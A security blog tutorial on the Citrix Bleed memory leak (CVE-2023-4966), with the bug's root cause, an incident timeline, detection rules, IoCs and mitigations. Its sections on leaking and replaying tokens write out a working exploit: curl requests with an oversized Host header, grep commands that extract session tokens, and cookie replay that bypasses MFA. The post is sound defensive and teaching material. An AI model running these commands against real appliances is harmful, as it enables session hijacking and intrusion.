Skip to content
Back to Blog

tutorials · 8 min read

Citrix Bleed: the buffer overread that steals the session

CVE-2023-4966 lets you read ~63 KB of NetScaler memory with a single HTTP request carrying an oversized Host header. Among the data: active session tokens. The attacker replays them and walks in as a valid user — no MFA. Boeing, ICBC, Comcast and more fall between October and November.

· Manuel López Pérez · tutorials

CVE-2023-4966 lets you read ~63 KB of NetScaler memory with a single HTTP request carrying an oversized Host header. Among the data: active session tokens. The attacker replays them and walks in as a valid user — no MFA. Boeing, ICBC, Comcast and more fall between October and November.

On 10 October 2023, Citrix publishes an advisory for CVE-2023-4966 in NetScaler ADC and Gateway. Information disclosure, CVSS 9.4. The industry christens it informally — and fast — Citrix Bleed, by analogy with Heartbleed: both are buffer overread, both leak adjacent process memory, both expose the worst kind of secrets. Heartbleed leaked private keys; Citrix Bleed leaks active session tokens.

By month-end the pattern is clear: the attacker makes an unauthenticated HTTP request, receives session tokens belonging to other users currently signed in, and replays them. MFA doesn’t help — the session is already authenticated. Boeing confirms on 1 November. ICBC US falls on 8 November with knock-on effect on US Treasury settlement. Comcast Xfinity notifies 35.7 million accounts in December. Allen & Overy, DP World Australia, several US states, federal agencies.

Mandiant confirms in-the-wild exploitation since late August — six weeks before the patch.

Lab: Assetnote public PoC reproducible against a vulnerable NetScaler image in a closed lab. Not sent against production appliances.

The bug — snprintf returning the unwritten size

The vulnerable function, per the RE published by Assetnote, sits in the NetScaler library that serves the OpenID Discovery endpoint:

// Reconstructed from Assetnote on nsppe / libns_aaa_oauthrp.so
// (NetScaler 13.1-48.47, function ns_aaa_oauthrp_send_openid_config)
char  resp_buf[0x20000];                            // 131072 bytes on stack
const char *host = req_get_header(req, "Host");

int n = snprintf(resp_buf, sizeof resp_buf,
                 "{\"issuer\":\"https://%s/oauth/idp\","
                 "\"authorization_endpoint\":\"https://%s/oauth/idp/login\","
                 /* ...more fields that repeat %s with host... */
                 "}", host, host, host, host, host, host);

ns_vpn_send_response(req, resp_buf, n);             // ← sends n bytes

snprintf returns the number of bytes it would have written if the buffer had been large enough — not the number it actually wrote. If host is long (several tens of KB), the resulting string exceeds 0x20000 (131072) and snprintf truncates the write but returns the full size. The next call sends n bytes from resp_buf — the first 0x20000 are the truncated response, the rest are bytes adjacent to the buffer on the stack/heap.

What lives near the buffer in nsppe:

  • Request buffers of other clients active on the same worker (cookies, headers, POST body).
  • NSC_AAAC session tokens of authenticated users.
  • Fragments of SAML assertions, JWT bearer tokens.
  • Heap memory holding strings that have been freed but not zero-filled.

The patch (13.1-49.15 and backports) changes the send call to use MIN(n, sizeof resp_buf) so it never returns more bytes than were actually written.

The request that triggers the leak

Assetnote publishes the concrete PoC on 26 October 2023. Exact Host size needed to force the overflow: ~24,812 bytes of path-equivalent which, multiplied by the 6 %s expansions in the template, exceeds 0x20000:

HOST_OVERFLOW=$(python3 -c "print('A' * 24812)")
curl -k --max-time 10 \
  -H "Host: $HOST_OVERFLOW" \
  "https://target.netscaler.test/oauth/idp/.well-known/openid-configuration" \
  -o leak.bin

ls -la leak.bin
# -rw-r--r-- 1 user user 65304 ... leak.bin    ← ~64KB response

The response is the truncated JSON followed by adjacent memory. Search for NSC_AAAC tokens (64 hex chars + 2 dash-separated halves):

strings leak.bin | grep -oE '[a-f0-9]{32}\.[a-f0-9]{32}' | sort -u
# 59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42
# 8f3e1a7b9c4d5e6f1a2b3c4d5e6f7a8b.9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
# ...

# Other exposed cookie/header variants:
strings leak.bin | grep -E 'NSC_AAAC=|sessionId=|Authorization:' | head

Each token observed corresponds to a session active at the moment of the request — SSL VPN, OAuth, Citrix Workspace users.

Replaying the token

With a valid token, the attacker drops it in their browser and signs in as that user:

TOKEN='59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42'

# 1) VPN endpoint — active SSL VPN session
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/vpn/index.html"
# → 200 OK, published applications page

# 2) Citrix Workspace — remote apps
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/cgi/login?username=&password="
# → authenticated as the user that owns the token

Critical point: the normal flow requires username + password + MFA. The token bypasses all three — it is an authenticated session. Resetting the password doesn’t invalidate the token. Only kill aaa session from the CLI or a user logout closes the session.

Most organisations that patched on 10-11 October didn’t rotate sessions until Mandiant’s guidance on 17 October. In that window, attackers holding tokens stolen pre-patch kept walking in.

Timeline

  • Late August 2023: Mandiant identifies first in-the-wild cases. Preliminary attribution to several clusters, no single pattern.
  • 10 October: Citrix publishes advisory and patch. Initial recommendation: patch.
  • 17 October: Mandiant publishes guidance — beyond patching, terminate all active sessions because the patch doesn’t invalidate tokens stolen before 10 October.
  • 23 October: Citrix amplifies Mandiant’s recommendation.
  • 26 October: Assetnote publishes public PoC (oversized Host header).
  • Late October – November: mass exploitation by multiple actors. LockBit very active.
  • 1 November: Boeing confirms compromise (LockBit lists it on their portal).
  • 8 November: ICBC US confirms compromise with impact on US Treasury settlement.
  • December 2023: Comcast Xfinity notifies 35.7M accounts, same vector.

Detection

NetScaler-side — limit on Host header

The most direct one: WAF / reverse proxy rule in front of the NetScaler that rejects Host: headers longer than 1 KB on /oauth/idp/.*. No legitimate case needs a long Host.

ModSecurity rule:

SecRule REQUEST_HEADERS:Host "@gt 1024" \
    "id:1004966,phase:1,deny,status:400,log,\
     msg:'CVE-2023-4966 Citrix Bleed — oversized Host header',\
     tag:'cve/2023-4966',tag:'attack-info-leak'"

Suricata / Snort

alert http any any -> $NETSCALER any (msg:"CITRIX BLEED CVE-2023-4966 oversized Host header to OAuth endpoint";
    http.uri; content:"/oauth/idp/.well-known/openid-configuration"; nocase;
    http.host; isdataat:1024;
    reference:cve,2023-4966;
    classtype:attempted-recon; sid:90234966; rev:2;)

KQL — Sentinel / Defender

// 1) Requests with oversized Host header (> 1KB) to /oauth/idp/
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor =~ "Citrix" or DeviceProduct in~ ("NetScaler","ADC","Gateway")
| where RequestURL has "/oauth/idp/.well-known/openid-configuration"
| where strlen(coalesce(SourceHostName, RequestClientApplication, "")) > 1024
| project Timestamp, SourceIP, RequestURL, DeviceName

// 2) Session resumed without a prior auth event in 24h
let session_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName !startswith "anonymous" and TargetUserName !endswith "$";
let auth_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4768  // Kerberos TGT issued (real login)
| project AuthTime=TimeGenerated, TargetUserName;
session_events
| join kind=leftouter auth_events on TargetUserName
| where AuthTime < TimeGenerated - 24h or isnull(AuthTime)
| project TimeGenerated, Computer, TargetUserName, IpAddress

Sigma — session resumed from new IP

title: Citrix Bleed Session Token Reuse from New IP
id: 8e1f0c4d-3a8b-4cdd-bf7a-2e4a6c7d8e9f
status: stable
references:
    - https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966
logsource:
    product: citrix
    service: netscaler
detection:
    selection:
        EventID: 'AAA_SESSION_ESTABLISHED'
    new_context:
        SourceCountry|not: '{baseline_user_country}'
    no_prior_auth:
        not_present_in_prior_24h: AAA_LOGIN_SUCCESS
    condition: selection and (new_context or no_prior_auth)
level: high

Post-exploitation IoCs published by Mandiant

TypeIndicatorNotes
MD5eb842a9509dece779d138d2e6b0f6949FREEFIRE .NET backdoor (C2 via Slack)
Filenamee.exe, d.dllCredential harvester (loader + DLL)
Filenamesh3.exeMimikatz LSADUMP
Filename7.exe7-zip portable (staging/exfil)
Filenamenetscan.exeSoftPerfect NetScan (lateral recon)
Legit RMM abusedAtera, AnyDesk, SplashTop“Legitimate” persistence after initial compromise

CISA in AA23-325A adds LockBit-specific IoCs using Citrix Bleed.

Reproduction in a lab

# Setup: NetScaler ADC VPX in VMware with build < 13.1-49.15.
# The NSVPX image is available to Citrix customers under contract.
# Enable the OAuth IDP portal on a test vIP.

# 1) Confirm vulnerable version from the appliance CLI:
#    show ns version
#    -> NetScaler NS13.1: Build 48.47

# 2) Trigger the leak — adjust size until the response exceeds 32KB
for SIZE in 16000 20000 22000 24000 24812 25000; do
  RESP=$(curl -k --max-time 5 \
    -H "Host: $(python3 -c "print('A'*$SIZE)")" \
    "https://lab-netscaler.local/oauth/idp/.well-known/openid-configuration" \
    -o /tmp/leak.bin -w "%{size_download}")
  echo "size=$SIZE response_bytes=$RESP"
done
# Effective size in lab: 24812 bytes per Assetnote.

# 3) Extract cookies from the response
strings /tmp/leak.bin | grep -oE 'NSC_AAAC=[A-Za-z0-9\.\-]+' | sort -u

# 4) Validate the token against the UI
TOKEN=...
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://lab-netscaler.local/vpn/index.html"
# If it returns the published apps page, the bleed worked

Mitigations, in order

  1. Patch to 14.1-8.50, 13.1-49.15, 13.0-92.19, or equivalent on NetScaler Cloud.
  2. Terminate ALL active sessions after patching:
    > kill aaa session -all
    > kill icaconnection -all
    > kill pcoipConnection -all
    > kill rdpConnection -all
    Otherwise, tokens stolen before the patch keep working.
  3. Rotate credentials for any user with an active session during the exposure window.
  4. Block external SSL VPN during the patch if there is no way to migrate traffic to another door.
  5. Audit AD logs for logons from unprecedented sessions.
  6. After the incident: move the VPN portal behind a central IDP (Okta, Entra ID) with device posture check. That turns stolen tokens into junk because the next authentication to the IDP detects the changed device fingerprint.

Lessons

  1. Buffer overreads aren’t history. Heartbleed (2014), Cloudbleed (2017), Citrix Bleed (2023), Citrix Bleed 2 (2025). In large enterprise products the bug keeps coming back. The reason is the same: C/C++ and legacy code that predates the memory-safe era.
  2. The patch isn’t the full mitigation. A bug that exposes state (sessions, keys) requires rotating the state in addition to patching. That second part gets systematically forgotten.
  3. MFA doesn’t protect post-auth. All the corporate MFA investment is nullified when the attacker steals the session after login. The defence is session-bound device posture or continuous evaluation of the session — available in Entra ID, modern Okta, not in NetScaler standalone.
  4. Citrix is still perimeter. Second critical pre-auth zero-day of the year after CVE-2023-3519 in July. For 2024 the operational question is: is there an alternative? Modern Zero Trust Network Access is maturing enough to replace traditional SSL VPN.

References

Back to Blog

Related Posts

View All Posts »
ByBit, one year on: clear signing, Guardrail and EIP-7702 — what changed in the multi-sig ecosystem

tutorials · 15 min

ByBit, one year on: clear signing, Guardrail and EIP-7702 — what changed in the multi-sig ecosystem

On 21 February 2026 the ByBit hack turns one. Only 3.5 % of the $1.5B has been frozen. What did change: Safe ships Guardrail (August 2025) blocking unauthorised DELEGATECALL, EIP-7702 hits mainnet with Pectra (May 2025), the Ethereum Foundation takes over ERC-7730 from Ledger and pulls Trezor / MetaMask / WalletConnect into an open clear-signing standard. Updated PoC on Sepolia comparing signing with and without Guardrail+clear signing.

· Manuel López Pérez

Cyber 2025 in review: four cases that explain the year

tutorials · 10 min

Cyber 2025 in review: four cases that explain the year

ByBit, the UK retail wave (M&S/Co-op/Harrods), SharePoint ToolShell and Windows 10 end-of-support. Four incidents with explicit criterion — no exhaustive top list, no ranking — and the operational lesson each one leaves for 2026.

· Manuel López Pérez

Windows 10 end of support — the day after 14 October

tutorials · 11 min

Windows 10 end of support — the day after 14 October

On 14 October 2025 free patches for Windows 10 stop. What the system stops receiving, what consumer ESU offers (free in the EEA, $30 outside), what it costs the enterprise, and which CVEs we are likely to see exploited against the installed base.

· Manuel López Pérez